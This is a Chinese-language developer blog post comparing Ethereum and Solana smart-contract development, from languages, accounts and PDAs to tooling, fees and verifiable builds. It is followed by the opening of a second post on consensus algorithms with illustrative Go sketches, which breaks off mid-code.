<p>作为一名在以太坊生态摸爬滚打多年的开发者，我最近刚完成了第一个Solana项目——一个类似pump.fun的meme发B平台的合约开发。</p>
<p>说实话，刚开始接触Solana时，我内心是拒绝的——又要学新语言，又要适应新的开发范式，感觉像是要重新学编程一样。</p>
<p>但当我看到同样的代币发行功能，在Solana上的交易费用只有以太坊的千分之一，用户铸造代币的体验从等待数分钟变成几秒钟完成时，我意识到这种学习是值得的。</p>
<p>今天我想以一个"过来人"的身份，从开发者的视角来梳理一下这两条链的差异，巩固知识的同时，也希望能帮你在30分钟内建立起对这两个生态的整体认知。</p>
<p>为了直观感受两者的差异，我们先从最核心的开发语言入手，对比Solidity和Rust的合约编写方式。</p>
<h2>语言之争：Solidity vs Rust</h2>
<h3>合约结构对比</h3>
<p>在以太坊，我们用Solidity写合约，代码结构相对直观：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleStorage {
    uint256 public storedData;

    function set(uint256 x) public {
        storedData = x;
    }

    function get() public view returns (uint256) {
        return storedData;
    }
}

</code></pre>
<p>而在Solana，我们用Rust写程序，这里的"程序"相当于以太坊的"合约"：</p>
<pre><code class="language-rust">use anchor_lang::prelude::*;

#[program]
pub mod simple_storage {
    use super::*;

    pub fn set(ctx: Context&#x3C;SetData>, data: u64) -> Result&#x3C;()> {
        ctx.accounts.storage_account.data = data;
        Ok(()) // 返回成功，Result&#x3C;()>表示操作成功或失败
    }
}

#[derive(Accounts)]
pub struct SetData&#x3C;'info> {
    #[account(mut)]
    pub storage_account: Account&#x3C;'info, StorageData>,
}

#[account]
pub struct StorageData {
    pub data: u64,
}

</code></pre>
<p>刚看到Solana的代码时，我的第一反应是：这也太复杂了吧！但深入了解后我发现，这种设计其实有其深层原因。</p>
<p>Solana强制你明确声明每个账户的用途和权限，虽然代码量增加了，但安全性和可并行性大大提升。</p>
<h2>地址生成：确定性 vs 灵活性</h2>
<h3>合约地址 vs Program ID</h3>
<p>在以太坊，合约地址是通过RLP编码和哈希算法计算得出的，比较确定：</p>
<pre><code class="language-jsx">// CREATE方式：keccak256(rlp([sender, nonce]))
// CREATE2方式：keccak256(0xFF + sender + salt + keccak256(init_code))

</code></pre>
<p>而Solana的Program ID生成方式更加灵活。你可以：</p>
<ul>
<li>随机生成一个密钥对</li>
<li>使用指定的种子生成确定性地址</li>
<li>通过PDA（Program Derived Address，程序衍生地址）生成</li>
</ul>
<p>我刚开始觉得这种灵活性是个负担，但后来发现这为跨链桥接和多签钱包提供了更多可能性。</p>
<p>明确了地址生成后，接下来我们看看如何让前端与链上程序交互，这就是ABI和IDL的用武之地。</p>
<h2>接口规范：ABI vs IDL</h2>
<h3>合约调用的"说明书"</h3>
<p>在以太坊，我们用ABI（Application Binary Interface）：</p>
<pre><code class="language-bash">forge compile  # 生成ABI文件

</code></pre>
<p>在Solana，我们用IDL（Interface Description Language）：</p>
<pre><code class="language-bash">anchor build  # 生成IDL文件

</code></pre>
<p>两者本质上都是合约/程序的"说明书"，告诉前端如何与链上代码交互。</p>
<p>不过IDL的表达能力更强，能描述更复杂的数据结构。Anchor会自动生成IDL，供JavaScript/TypeScript前端调用。</p>
<p>在开发中，合约升级是常见需求，两者的实现方式却大相径庭。</p>
<h2>升级机制：代理模式 vs 原生支持</h2>
<h3>合约升级的痛点与解决方案</h3>
<p>在以太坊，如果你想升级合约，必须使用代理模式：</p>
<pre><code class="language-solidity">// 需要复杂的代理合约架构
contract Proxy {
    address public implementation;
    // ... 复杂的delegatecall逻辑
}

</code></pre>
<p>而Solana原生支持程序升级，只要你还持有Program ID的私钥：</p>
<pre><code class="language-bash">solana program deploy updated_program.so

</code></pre>
<p>当然，两者都可以选择"放弃控制权"——在以太坊是将代理合约的owner设为零地址，在Solana是将upgrade authority设为None，让合约或程序变成永久不可变的。</p>
<p>但需要注意的是，Solana的升级机制要求妥善保管Program ID私钥，否则可能导致程序被恶意升级。</p>
<h2>存储架构：集中 vs 分布</h2>
<h3>数据存储的设计差异</h3>
<p>这是两条链最根本的差异之一。在以太坊，合约代码、用户数据都存放在一起，比如所有用户的代币余额与合约代码都存在一个合约地址中：</p>
<pre><code class="language-solidity">mapping(address => uint256) public balances;  // 所有余额在一个mapping里

</code></pre>
<p>而Solana采用账户分片存储，合约代码与用户数据分开存放（这样合约代码可以复用），每个用户的代币余额都有独立的账户：</p>
<pre><code>用户钱包 -> 代币账户A -> 存储USDC余额
         -> 代币账户B -> 存储SOL余额

</code></pre>
<p>刚开始我觉得这种设计很奇怪，为什么要搞这么复杂？后来我明白了，这是为并行处理做的架构设计。</p>
<p>更重要的是，这种设计带来了巨大的存储优势。在以太坊，每个ERC20代币都需要部署完整的合约代码，即使这些合约逻辑几乎完全相同。想象一下，链上有数万个ERC20代币，就意味着有数万份几乎重复的合约代码在<strong>浪费存储空间</strong>。</p>
<p>而Solana的SPL Token标准让全链只需要一份Token程序代码，所有代币都通过这个程序来管理。这种设计让Solana的存储效率提升了不止一个数量级，真正做到了代码复用的极致。</p>
<p>需要注意的是，Solana的账户需要质押lamports来支付存储费用（基于账户大小）。当质押金额达到免租阈值（约2年的租金）时，账户就永久免租，不会被系统回收。这种设计确保了链上存储的可持续性，避免了状态爆炸问题。我感觉这一点是借鉴了EOS链。</p>
<h2>虚拟机：单线程 vs 并行</h2>
<h3>执行效率的天壤之别</h3>
<p>前面讲的存储架构差异，实际上直接影响了两条链的执行效率。</p>
<p>在Ethereum中，EVM是单线程的，就像一个收银员要处理所有顾客：</p>
<pre><code>交易1: 给Bob铸造NFT      [等待]
交易2: 给Alice转代币     [等待]
交易3: 执行Swap操作      [等待]
</code></pre>
<p>在Solana中，SealevelVM支持并行执行，就像有多个收银员同时工作：</p>
<pre><code>交易1: 给Bob铸造NFT      [并行执行]
交易2: 给Alice转代币     [并行执行]
交易3: 执行Raydium Swap  [并行执行]
</code></pre>
<p>这就是为什么Solana的TPS能达到上万，而以太坊只有十几的根本原因。
当然，并行执行有个前提：交易不能涉及相同的账户，否则还是得排队处理。
比如：给Bob铸造NFT的同时，还给Bob转Token，这种多笔交易针对同一个账户的情况，就得上锁、按顺序执行了。</p>
<h2>共识机制：PoS vs PoH</h2>
<h3>时间的艺术</h3>
<p>除了执行层的差异，两条链在共识层也采用了截然不同的方案。</p>
<p>以太坊2.0使用PoS（权益证明），验证者需要相互确认区块顺序。</p>
<p>Solana使用PoH（历史证明），通过SHA256哈希链创建可验证的时间戳。在Solana中，时间被分割成slot（时隙，约400毫秒的时间单位），每个slot相当于传统区块链中的一个区块位置：</p>
<pre><code>Hash1 = SHA256("data1")
Hash2 = SHA256(Hash1 + "data2")
Hash3 = SHA256(Hash2 + "data3")
</code></pre>
<p><strong>从技术层面来类比</strong>：PoH就像是一个数字时钟，每个哈希都证明了前一个事件的发生时间，形成了不可篡改的时间序列。这样验证者就不需要花时间相互协商"谁先谁后"。</p>
<p><strong>从生活层面来类比</strong>：想象一下拍照时的连拍功能，每张照片都有时间戳，你可以清楚地知道每个瞬间的先后顺序，不需要问其他人"这张照片是什么时候拍的"。PoH就是给区块链交易打上了这样的时间戳。</p>
<p>这种设计让验证者无需相互沟通就能确定事件顺序，大大提升了效率。</p>
<h2>区块链不可能三角：不同的权衡策略</h2>
<p>区块链技术面临的经典"不可能三角"包括：<strong>去中心化</strong>、<strong>安全性</strong>、<strong>可扩展性</strong>，很难同时最大化这三个特性。</p>
<h3>Ethereum的选择：安全优先</h3>
<p><strong>优势：</strong></p>
<ul>
<li><strong>去中心化程度高</strong>：全球超过80万个验证者节点</li>
<li><strong>安全性强</strong>：经过多年验证，代码审计完善</li>
<li><strong>生态成熟</strong>：开发工具、基础设施非常完善</li>
</ul>
<p><strong>硬件门槛：</strong></p>
<ul>
<li>验证者最低要求：32 ETH质押 + 普通家用电脑即可</li>
<li>网络带宽：10 Mbps以上</li>
<li>存储空间：约1TB（全节点）</li>
</ul>
<h3>Solana的选择：性能优先</h3>
<p><strong>优势：</strong></p>
<ul>
<li><strong>可扩展性强</strong>：理论TPS 65,000，实际2,000-4,000</li>
<li><strong>交易成本极低</strong>：约0.00025 SOL每笔交易</li>
<li><strong>确认速度快</strong>：400ms确认时间</li>
</ul>
<p><strong>硬件门槛：</strong></p>
<ul>
<li>验证者配置要求：
<ul>
<li>CPU：12核/24线程，2.8GHz以上</li>
<li>内存：256GB RAM</li>
<li>存储：PCIe Gen3 x4 NVME SSD，2TB+</li>
<li>网络：1Gbps带宽上下行</li>
</ul>
</li>
<li>月运营成本：约$300-500（云服务器）</li>
</ul>
<p><strong>权衡：</strong></p>
<ul>
<li>验证者门槛较高，去中心化程度相对较低</li>
<li>对网络稳定性要求极高，偶尔出现网络拥堵</li>
</ul>
<h3>开发者视角的选择</h3>
<p>从实际开发经验来看：</p>
<ul>
<li><strong>选择Ethereum</strong>：如果项目重视安全性、稳定性，用户能接受较高gas费</li>
<li><strong>选择Solana</strong>：如果项目需要高频交易、微支付场景，追求极致性能体验</li>
</ul>
<p>两条链都在朝着平衡的方向发展：Ethereum通过Layer 2提升性能，Solana在优化网络稳定性和降低硬件门槛。</p>
<h2>账户模型：通用 vs 专用</h2>
<h3>代币管理的不同思路</h3>
<p>在以太坊，一个账户可以持有各种代币：</p>
<pre><code>0x123...abc (用户账户)
├── ETH: 1.5
├── USDC: 1000
└── DAI: 500
</code></pre>
<p>在Solana，每种代币都需要专门的代币账户：</p>
<pre><code>9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM (用户钱包)
├── TokenAccount1: 1000 USDC
├── TokenAccount2: 500 RAY
└── TokenAccount3: 1 NFT
</code></pre>
<p>这种"专款专用"的设计初看繁琐，但其实更像是HD钱包的树状结构，每个代币都有专门的账户管理，便于权限控制和资产追踪。</p>
<p>从安全性角度看，这种设计也很像HD钱包：如果你丢了主钱包的私钥，就相当于丢了根密钥，所有关联的代币账户都会失去控制权。但好处是，你可以为不同用途的代币设置不同的权限级别。</p>
<h3>PDA：Solana的账户管理核心</h3>
<p>PDA（Program Derived Address）是Solana独有的概念，它的核心作用是作为<strong>中立的执行者</strong>来处理用户交易。</p>
<p>在以太坊中，用户直接与合约交互：</p>
<pre><code class="language-solidity">// 用户直接调用合约方法
function transfer(address to, uint256 amount) external {
    _transfer(msg.sender, to, amount); // msg.sender就是用户地址
}
</code></pre>
<p>而在Solana中，PDA充当"中间人"角色：</p>
<pre><code class="language-rust">#[derive(Accounts)]
pub struct TransferTokens&#x3C;'info> {
    #[account(mut)]
    pub from_token_account: Account&#x3C;'info, TokenAccount>,
    #[account(mut)]
    pub to_token_account: Account&#x3C;'info, TokenAccount>,
    pub authority: Signer&#x3C;'info>,           // 用户签名授权
    pub pda_authority: AccountInfo&#x3C;'info>,  // PDA作为执行者
}

pub fn transfer_tokens(ctx: Context&#x3C;TransferTokens>, amount: u64) -> Result&#x3C;()> {
    // PDA代表程序执行转账，而不是用户直接执行

    let bump = *ctx.bumps.get("pda_authority").unwrap();
    let seeds = &#x26;[b"authority", ctx.accounts.authority.key().as_ref(), &#x26;[bump]];

    token::transfer(
        CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            token::Transfer {
                from: ctx.accounts.from_token_account.to_account_info(),
                to: ctx.accounts.to_token_account.to_account_info(),
                authority: ctx.accounts.pda_authority.to_account_info(), // PDA执行
            },
            &#x26;[&#x26;seeds] // PDA的签名种子
        ),
        amount,
    )
}
</code></pre>
<p><strong>关键差异：</strong></p>
<ul>
<li><strong>以太坊</strong>：用户 → 合约（直接交互）</li>
<li><strong>Solana</strong>：用户授权 → PDA执行 → 程序处理（三方协作）</li>
</ul>
<p>这种设计让Solana程序具有更强的控制能力，可以在用户授权后自主执行复杂的多步操作，这是pump.fun等复杂DeFi应用能够高效运行的基础。</p>
<p>这就像是一个去中心化的托管执行者：用户保持资产所有权，但交易执行权被委托给经过验证的程序逻辑。</p>
<p>换个更贴切的比喻：这就像智能合约托管的公司账户，用户是"股东"，PDA是"受托管理人"，程序是"公司章程"。资金所有权归股东，但每笔支出都必须按章程执行。</p>
<h2>开发工具：Foundry vs Anchor</h2>
<h3>工具选择的考量</h3>
<p>在以太坊生态，虽然日常开发中Hardhat用得更多，但我选择Foundry作为对比案例，主要是因为Foundry在合约调试方面更加便捷，测试框架也更加先进。</p>
<p>以太坊使用Foundry：</p>
<pre><code class="language-bash">forge create SimpleStorage --private-key $PRIVATE_KEY --rpc-url $RPC_URL
</code></pre>
<p>Solana使用Anchor：</p>
<pre><code class="language-bash">anchor deploy  # 自动将编译完的程序文件部署到Solana链上
</code></pre>
<p>说实话，Anchor的开发体验更加流畅，集成度更高。<code>anchor deploy</code>命令会自动处理编译和部署的整个流程，比以太坊的工具链更加便捷。Anchor还提供了强大的测试框架和solana-program-test工具，让单元测试变得更加简单。</p>
<h2>代币权限：ERC20 vs SPL Token</h2>
<h3>权限控制的差异</h3>
<p>ERC20的权限控制：</p>
<pre><code class="language-solidity">function freeze(address account) public onlyOwner {
    frozenAccounts[account] = true;
}
</code></pre>
<p>SPL Token的权限系统更加细化，包括：</p>
<pre><code class="language-rust">// Mint Authority - 控制铸造权限
// Freeze Authority - 控制账户冻结权限
// Close Authority - 控制账户关闭权限
// 任何持有者都可以burn自己的代币（无需特殊权限，降低了权限滥用的风险）
</code></pre>
<p>这种细粒度的权限设计让代币管理更加灵活和安全。接下来看看数值精度的差异。</p>
<h2>精度单位：wei vs lamports</h2>
<p>两条链在数值精度设计上各有考虑：以太坊使用wei作为最小单位，精度为18位小数（<code>1 ETH = 10^18 wei</code>），这与传统金融系统的精度要求相符；</p>
<p>而Solana使用lamports作为最小单位，精度为9位小数（<code>1 SOL = 10^9 lamports</code>），在保证足够精度的同时减少了计算复杂度。</p>
<h3>余额查询的细微差别</h3>
<p>以太坊查询余额：</p>
<pre><code class="language-solidity">uint256 balance = address(this).balance;  // 单位：wei (10^-18 ETH)
</code></pre>
<p>Solana查询余额：</p>
<pre><code class="language-rust">let balance = account.lamports();  // 单位：lamports (10^-9 SOL)
</code></pre>
<p>在Solana中，PDA账户之间的lamports（主要用于支付交易费和账户租金）转移需要通过程序内部逻辑实现，而普通账户间转账需要调用System Program（系统程序）。</p>
<p>System Program是Solana的核心程序之一，负责创建账户、分配空间、转移lamports等基础操作。</p>
<h2>Gas费用对比</h2>
<h3>交易成本的巨大差异</h3>
<p><strong>以太坊：</strong></p>
<ul>
<li>Gas费波动巨大，网络拥堵时单笔交易可达几十美元</li>
<li>复杂合约交互费用更高</li>
<li>Layer 2方案可以降低费用，但增加了复杂性</li>
</ul>
<p><strong>Solana：</strong></p>
<ul>
<li>交易费用稳定，通常在0.00025 SOL左右（约0.01美元）</li>
<li>不管交易复杂度，费用基本固定</li>
<li>为高频交易应用提供了经济可行性</li>
</ul>
<p>接下来看看前端开发体验的差异。</p>
<h2>前端交互：viem vs Solana Web3.js</h2>
<h3>更优秀的前端开发体验</h3>
<p>这里我选择viem而不是ethers.js作为以太坊的例子，主要是因为viem提供了更好的TypeScript支持、更清晰的API设计和更高的性能。</p>
<p>查询余额：</p>
<pre><code class="language-jsx">// 以太坊 (viem)
const balance = await publicClient.getBalance({
  address: '0x123...'
})

// Solana
const balance = await connection.getBalance(
  new PublicKey('9WzDXwBbmkg...')
)
</code></pre>
<p>转账：</p>
<pre><code class="language-jsx">// 以太坊
const hash = await walletClient.sendTransaction({
  to: '0x456...',
  value: parseEther('1.0')
})

// Solana
const transaction = new Transaction().add(
  SystemProgram.transfer({
    fromPubkey: fromPublicKey,
    toPubkey: toPublicKey,
    lamports: 1000000000
  })
)
const signature = await connection.sendTransaction(transaction, [payer]);
</code></pre>
<h2>开发流程对比</h2>
<h3>开发环境配置提醒</h3>
<p><strong>以太坊开发准备：</strong></p>
<ul>
<li>安装Node.js和Foundry</li>
<li>准备测试网ETH（通过水龙头获取）</li>
<li>配置RPC端点（Alchemy、Infura等）</li>
</ul>
<p><strong>Solana开发准备：</strong></p>
<ul>
<li>安装Rust和Solana CLI工具链</li>
<li>配置网络环境（本地/测试网/主网）</li>
<li>注意：Solana的开发环境配置相对复杂，建议先在本地测试网熟悉流程</li>
</ul>
<h3>完整开发周期</h3>
<p><strong>以太坊开发流程：</strong></p>
<pre><code class="language-bash"># 1. 启动本地节点（无限测试ETH）
anvil

# 2. 编译
forge build

# 3. 测试
forge test

# 4. 部署到本地测试网
forge create Contract --private-key $PRIVATE_KEY --rpc-url &#x3C;http://localhost:8545>

# 5. 部署到主网
forge create Contract --private-key $PRIVATE_KEY --rpc-url $MAINNET_RPC

# 6. 验证合约源代码
forge verify-contract --chain mainnet $CONTRACT_ADDRESS $CONTRACT_NAME

</code></pre>
<p><strong>Solana开发流程：</strong></p>
<pre><code class="language-bash"># 1. 启动本地测试验证器（无限测试SOL）
solana-test-validator

# 2. 编译
anchor build

# 3. 测试（在本地测试网环境）
anchor test

# 4. 切换到测试网并获取测试币
solana config set --url testnet
solana airdrop 2

# 5. 部署到测试网
anchor deploy

# 6. 部署到主网
solana config set --url mainnet-beta
anchor deploy

</code></pre>
<p>在本地节点环境中，你拥有无限的测试币，这对于跑通程序基本逻辑、测试各种边界情况非常有用。</p>
<h2>DEX对比：Uniswap vs Raydium</h2>
<h3>交易所架构差异</h3>
<p>如果你熟悉对接Uniswap V2/V3，那么Raydium就是Solana上的对应版本：</p>
<ul>
<li><strong>Uniswap V2</strong> → <strong>Raydium AMM</strong></li>
<li><strong>Uniswap V3</strong> → <strong>Raydium CLMM（集中流动性做市商）</strong></li>
</ul>
<p>两者的核心逻辑相似，但Raydium得益于Solana的并行处理能力，交易速度更快，成本更低。</p>
<blockquote>
<p>Raydium作为Solana生态的头部DEX，加上pump.fun等项目的带动，已经成为Solana DeFi的重要基础设施。</p>
</blockquote>
<h2>交易与区块结构</h2>
<h3>底层数据结构对比</h3>
<p><strong>以太坊交易结构：</strong></p>
<pre><code>Transaction {
  nonce, gasPrice, gasLimit, to, value, data, v, r, s
}

</code></pre>
<p><strong>Solana交易结构：</strong></p>
<pre><code>Transaction {
  signatures, message: {
    header, accounts, recentBlockhash, instructions
  }
}

</code></pre>
<p>Solana的交易结构更加复杂，但表达能力更强。其中：</p>
<ul>
<li><code>recentBlockhash</code>：最近的区块哈希，有效期约150个slot（约1-2分钟），用于防止交易重放攻击，相当于以太坊的nonce机制</li>
<li><code>instructions</code>：指令数组，一个交易最多可以包含几十个操作指令</li>
<li><code>accounts</code>：预先声明所有涉及的账户，这是实现并行执行的关键</li>
</ul>
<p>在以太坊中，虽然一个交易也可以执行多个操作，但需要在合约内部实现批量操作逻辑，比如：</p>
<pre><code class="language-solidity">// 仅为了说明批量操作，不建议这样转账
function batchTransfer(address[] memory recipients, uint256[] memory amounts) public {
    for (uint i = 0; i &#x3C; recipients.length; i++) {
        transfer(recipients[i], amounts[i]);
    }
}

</code></pre>
<p>而Solana原生支持在一个交易中包含多个不同的指令，就像把多个独立的操作打包在一起执行。</p>
<h2>交易状态追踪</h2>
<h3>确认机制差异</h3>
<p><strong>以太坊：</strong></p>
<ul>
<li>Pending → Confirmed → Finalized</li>
<li>通过区块确认数量判断安全性</li>
</ul>
<p><strong>Solana：</strong></p>
<ul>
<li>Processed（交易已被节点处理） → Confirmed（获得超级多数确认） → Finalized（绝对最终确认）</li>
<li>通过确认级别和slot数量判断安全性</li>
<li>建议：对于高价值交易，使用<code>finalized</code>级别以确保绝对安全</li>
</ul>
<h2>区块回滚处理</h2>
<h3>链重组的应对策略</h3>
<p><strong>以太坊：</strong></p>
<ul>
<li>等待足够的确认块数（通常12-20块）</li>
<li>监听chain reorganization事件</li>
</ul>
<p><strong>Solana：</strong></p>
<ul>
<li>设置合适的commitment级别</li>
<li>监听slot确认状态</li>
<li>使用<code>confirmed</code>或<code>finalized</code>级别确保安全</li>
</ul>
<h2>代码验证：透明性保障</h2>
<h3>如何自证清白</h3>
<p><strong>以太坊：</strong></p>
<pre><code class="language-bash"># 部署后手动验证源代码
forge verify-contract --chain mainnet $CONTRACT_ADDRESS $CONTRACT_NAME

</code></pre>
<p>以太坊的合约代码在验证后可以在Etherscan等区块浏览器上透明查看，任何人都能看到完整的源代码。</p>
<p><strong>Solana：</strong>
而Solana的程序在区块链浏览器上看不到源代码，需要一定手段才能自证清白。如果我现在部署了一个程序到Solana上，想要获得社区监督和信任，Alice可以通过以下流程验证：</p>
<ol>
<li><strong>获取链上程序的字节码</strong>：</li>
</ol>
<pre><code class="language-bash">solana program show $PROGRAM_ID  # 下载部署到链上的编译文件

</code></pre>
<ol>
<li><strong>本地编译开源代码</strong>：</li>
</ol>
<pre><code class="language-bash">anchor build # 拿到github开源代码，然后经过你亲手编译后得到的编译文件

</code></pre>
<ol>
<li><strong>对比哈希值</strong>：</li>
</ol>
<pre><code class="language-bash"># 计算本地编译文件的哈希
sha256sum target/deploy/program.so
# 与链上下载的编译文件哈希对比

</code></pre>
<ol>
<li><strong>使用社区验证工具</strong>：
如Anchor Verify、Solana Verifiable Build等第三方工具进行自动化验证。</li>
</ol>
<p>虽然流程相对复杂，但Solana社区正在积极开发更便捷的验证工具。</p>
<h2>我的开发感受</h2>
<p>经过这段时间的Solana开发，我有几点比较深刻的感受：</p>
<p><strong>学习成本：</strong> Solana的学习曲线确实更陡峭。从Solidity转到Rust，从EVM转到账户模型，需要重新思考很多问题。</p>
<p><strong>开发效率：</strong> 适应期过后，Anchor的开发体验很不错，得益于rust语言，类型安全和并发控制做得很好。</p>
<p><strong>生态成熟度：</strong> 以太坊的生态更加成熟，工具链更完善，但Solana发展很快，工具质量在快速提升。</p>
<p><strong>稳定性考量：</strong> Solana的高性能伴随着一定的稳定性风险，而以太坊主网几乎从未停机，这在企业级应用中是重要考量因素。</p>
<p><strong>去中心化程度：</strong> 以太坊拥有更多的验证者节点，去中心化程度更高，而Solana为了性能在一定程度上牺牲了去中心化。</p>
<p><strong>性能差异：</strong> Solana的高吞吐量和低费用确实令人印象深刻，特别是在做高频交易相关的应用时，比如游戏、NFT市场等产品。</p>
<h2>学习路径建议</h2>
<p>基于以上开发体验，我总结了一些实用的学习建议：</p>
<ol>
<li><strong>循序渐进</strong>：先掌握以太坊基础，再学Solana进阶</li>
<li><strong>项目驱动</strong>：在干中学是最快的，通过实际项目来理解两者差异</li>
<li><strong>社区参与</strong>：加入一些开发者社群，获取最新的工具和最佳实践</li>
</ol>
<p>如果你正在考虑转型区块链开发，我最近在整理相关的学习资源和项目实战经验。感兴趣的话可以私信交流，一起探讨技术细节。</p>
<h2>没有完美的区块链</h2>
<p>技术世界里没有万能的解决方案，区块链也是如此。Solana通过创新的架构设计实现了令人印象深刻的性能，但也承担了相应的权衡成本。以太坊虽然在性能上相对保守，但其在去中心化和稳定性方面的表现为整个DeFi生态提供了坚实基础。</p>
<p>选择哪条链，本质上是在选择不同的权衡策略。了解这些权衡，才能做出更明智的技术决策。</p>
<h2>写在最后</h2>
<p>以太坊和Solana就像是两种不同的设计思路：一个追求稳定和向下兼容，一个追求性能和创新突破。</p>
<p>作为开发者，我们不必站队，而是要理解它们各自的优势和适用场景。在这个快速变化的Web3世界里，保持技术栈的多样性和学习的开放心态，或许比追求任何单一技术的精通都更重要。</p>
<p>毕竟，下一个改变游戏规则的创新，可能就来自于不同技术的碰撞与融合。</p>
<p><em>本文基于个人开发经验总结，如有遗漏或错误，欢迎指正。</em></p>
<p><a href="Solana%20vs%20Ethereum%EF%BC%9A30%E5%88%86%E9%92%9F%E8%B7%91%E6%AD%A5%E5%85%A5%E5%9C%BASolana%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/%E7%96%91%E9%97%AE%E5%BC%95%E5%87%BA%E7%9A%84%E7%9F%A5%E8%AF%86%E6%8B%93%E5%B1%95%2022121a04f70a80659ec8c336895a5bb2.md">疑问引出的知识拓展</a></p>
]]></content:encoded>
      <category>公链实战</category>
      <pubDate>Sun, 29 Jun 2025 04:26:13 GMT</pubDate>
    </item>
    <item>
      <title>区块链面试必备：6种常见共识算法全解析</title>
      <link>https://yangxinmin.com/consensus-algorithms-explained</link>
      <guid isPermaLink="true">https://yangxinmin.com/consensus-algorithms-explained</guid>
      <description>说在前面 作为一个在区块链搬砖多年的开发者，我发现共识机制是面试中最常被问到的技术问题之一。 今天，我想梳理一下6种主流共识机制，为我也为你在面对相关问题时能够准确、专业地回答。 共识机制解决的核心问题 在分布式网络中，节点之间如何在没有中心权威的情况下对某个值或状态达成一致？这就是共识机制要解决的</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>作为一个在区块链搬砖多年的开发者，我发现共识机制是面试中最常被问到的技术问题之一。</p>
<p>今天，我想梳理一下6种主流共识机制，为我也为你在面对相关问题时能够准确、专业地回答。</p>
<h2>共识机制解决的核心问题</h2>
<p>在分布式网络中，节点之间如何在没有中心权威的情况下对某个值或状态达成一致？这就是共识机制要解决的根本问题。</p>
<p>简单地来说，解决了三个核心问题：由<strong>谁来验证、由谁来记账、保障节点数据的一致性</strong>。</p>
<h2>核心概念一览</h2>
<p>先给你一个全局视角，6种主流共识机制的关键特点：</p>
<ul>
<li><strong>POW（工作量证明）</strong>：通过算力竞争达成共识，比特币的选择</li>
<li><strong>POS（权益证明）</strong>：通过持币权重决定出块权，以太坊2.0的选择</li>
<li><strong>PoH（历史证明）</strong>：Solana的创新，通过时间戳优化性能</li>
<li><strong>DPOS（委托权益证明）</strong>：代表投票制，EOS等链的核心</li>
<li><strong>PBFT（实用拜占庭容错）</strong>：容忍恶意节点，联盟链的安全选择</li>
<li><strong>Raft</strong>：强一致性算法，分布式系统的经典选择，私有链和企业内部系统常用</li>
</ul>
<h2>POW：算力即正义</h2>
<p>POW（Proof of Work）是最早也是最知名的共识机制，比特币网络就是基于这个算法运行的。</p>
<p><strong>打个比方</strong>：这就像数学抢答赛，谁最快算出答案谁就获得记账权。</p>
<h3>实现原型</h3>
<pre><code class="language-go">// POW挖矿核心逻辑
func mine(blockData []byte, difficulty int) (uint64, []byte) {
    target := make([]byte, 32)
    // 设置目标值：前difficulty位为0

    var nonce uint64
    for {
        data := append(blockData, uint64ToBytes(nonce)...)
        hash := sha256.Sum256(data)

        if bytes.Compare(hash[:], target) &#x3C; 0 {
            return nonce, hash[:]
        }
        nonce++
    }
}

</code></pre>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 安全性在比特币网络中经过长期验证，去中心化程度高</li>
<li>❌ 能耗巨大，吞吐量低（比特币约7TPS）</li>
</ul>
<h2>POS：持币即权力</h2>
<p>POS（Proof of Stake）通过持币数量而非算力来决定出块权。</p>
<p><strong>打个比方</strong>：这就像股东大会，持股多的人有更大发言权。</p>
<h3>实现原型</h3>
<pre><code class="language-go">// POS验证者选择算法
type Validator struct {
    Address string
    Stake   uint64
}

func selectValidator(validators []Validator, seed []byte) string {
    totalStake := uint64(0)
    for _, v := range validators {
        totalStake += v.Stake
    }

    // 基于质押权重和随机数选择
    target := binary.BigEndian.Uint64(seed) % totalStake
    current := uint64(0)

    for _, v := range validators {
        current += v.Stake
        if current >= target {
            return v.Address
        }
    }
    return ""
}

</code></pre>
<h3>以太坊2.0的实现要点</h3>
<ul>
<li><strong>质押要求</strong>：最少32 ETH（2025年Pectra升级后单个验证者最大可质押2048 ETH）</li>
<li><strong>时间结构</strong>：每12秒一个slot，32个slot组成一个epoch</li>
<li><strong>最终确定性</strong>：2个epoch后交易具有最终确定性</li>
</ul>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 能耗极低，出块速度快</li>
<li>❌ "富者愈富"问题，Nothing at Stake攻击风险</li>
</ul>
<h2>DPOS：代议制民主</h2>
<p>DPOS（Delegated Proof of Stake）通过投票选举出少数代表来负责出块，如EOS选出21个超级节点。</p>
<p><strong>打个比方</strong>：这就像议会制，大家投票选出代表来做决定。</p>
<h3>实现原型</h3>
<pre><code class="language-go">type BlockProducer struct {
    Name  string
    Votes uint64
}

func electProducers(candidates []BlockProducer, count int) []BlockProducer {
    // 按得票数排序
    sort.Slice(candidates, func(i, j int) bool {
        return candidates[i].Votes > candidates[j].Votes
    })

    if len(candidates) &#x3C; count {
        return candidates
    }
    return candidates[:count]
}

</code></pre>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 高性能（EOS约4000 TPS），快速确认</li>
<li>❌ 去中心化程度低，存在贿选风险</li>
</ul>
<h2>PoH：时间排序的创新</h2>
<p>PoH（Proof of History）是Solana的核心创新，通过可验证延迟函数创建时间序列，实现高性能。</p>
<p><strong>打个比方</strong>：像钟表，先有了准确的时间，再安排谁做什么事。</p>
<h3>通俗理解</h3>
<p>想象一个场景：你要证明某张照片是在特定时间拍的，但没有时间戳。传统方法是找证人，但PoH的做法是：让你在拍照前做一万次俯卧撑，每次都拍下来。因为俯卧撑必须一个一个做（无法作弊），所以照片的顺序就证明了时间的先后。</p>
<p>Solana的PoH就是这个原理：通过SHA256哈希运算（相当于俯卧撑）创建无法伪造的时间序列。</p>
<p>需要注意的是，PoH本身不是完整的共识算法，而是一种时间排序机制，Solana将其与PoS结合使用。</p>
<h3>实现原型</h3>
<pre><code class="language-go">// PoH条目结构：每个条目包含哈希值和计数
type PoHEntry struct {
    Hash  []byte // 当前的哈希值，作为时间证明
    Count uint64 // 计数器，表示执行了多少次哈希运算
}

// 生成PoH序列的核心函数
func generatePoH(initialHash []byte) chan PoHEntry {
    // 创建一个缓冲通道，用于传递PoH条目
    entries := make(chan PoHEntry, 1000)

    // 启动一个goroutine持续生成PoH序列
    go func() {
        hash := initialHash // 从初始哈希值开始
        count := uint64(0)  // 计数器初始化为0

        for {
            // 关键步骤：对当前哈希值进行SHA256运算
            // 这个过程必须串行执行，无法并行加速
            hash = sha256Hash(hash)
